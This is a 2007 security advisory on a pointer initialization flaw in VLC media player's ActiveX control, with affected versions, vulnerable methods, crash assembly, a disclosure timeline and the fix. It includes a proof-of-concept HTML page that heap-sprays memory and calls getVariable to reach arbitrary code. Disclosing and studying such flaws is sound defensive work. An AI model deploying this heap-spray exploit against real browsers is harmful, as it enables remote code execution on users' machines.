VLC ActiveX Bad Pointer Initialization Vulnerability
5 Dec. 2007
Summary
VLC player is "a popular multimedia player for various audio and video formats, and various streaming protocols".
A vulnerability has been found in the ActiveX control DLL (axvlc.dll) used by VLC player. This library contains three methods whose parameters are not correctly checked, and may produce a bad initialized pointer. By providing these functions specially crafted parameters, an attacker can overwrite memory zones and execute arbitrary code.
Vulnerable Systems:
* VLC media player version 0.86, 0.86a, 0.86b and 0.86c
Immune Systems:
* VLC media player versions prior to 0.86
* VLC media player version 0.8.6d
The ActiveX control DLL (axvlc.dll) contains three methods whose parameters are not correctly checked, and may produce a bad initialized pointer. By providing these functions specially crafted parameters, an attacker can overwrite memory zones and execute arbitrary code.
The vulnerable functions are: Sub addTarget ( ByVal uri As String , ByVal options As Variant , ByVal mode As VLCPlaylistMode , ByVal Position As Long) Function getVariable (ByVal name As String) Sub setVariable ( ByVal name As String , ByVal value As Variant)
The following assembly code is where the axvlc.dll library crashes. The pointer that is read to be executed, can be overwritten, depending on how the strings are sent. It also requires that previously other files are loaded that left the pointer bad initialized, with the value that the attacker needs to jump to his own code. 000113CD FF50 14 CALL DWORD PTR DS:[EAX+14]
000113D0 8B53 08 MOV EDX,DWORD PTR DS:[EBX+8]
000113D3 85D2 TEST EDX,EDX
The following is a PoC HTML file, using one of the vulnerable methods (addTarget). <head>
<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8' id='target' >
</object>
</head>
<script>
var mm = null; if( target != null ) { var param1 = unescape("%u0505%u0505");
var salame = "defaultV";
var salame2 = 1;
var salame3 = 0;
ag = unescape("%uCCCC%uCCCC");
sh = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%");
sz = sh.length * 2;
npsz = 0x400000 - (sz + 0x38);
nps = unescape("%u0505%u0505");
while(nps.length * 2 < npsz) nps += nps;
ihbc = (0x0E000000 - 0x400000) / 0x400000;
mm = new Array();
for(i = 0; i <= ihbc; i++) mm[i] = nps + sh;
for(var i=0;i<2000;i++) param1 = param1 + unescape("%u0505%u0505");
target.getVariable (param1); }
</script>
Report Timeline:
* 2007-10-26: Core notifies the VLC team of the vulnerability.
* 2007-10-29: Technical details sent by Core to VLC.
* 2007-11-23: VLC notifies Core that a fix has been produced, and will be released in VLC version 0.8.6d.
* 2007-11-30: VLC releases version 0.8.6d, which fixes this vulnerability.
* 2007-12-03: CORE-2007-1004 advisory is published.
Solution:
VLC media player 0.8.6d adresses this issue and introduces further usability fixes. Download it from the VideoLAN project website: http://www.videolan.org/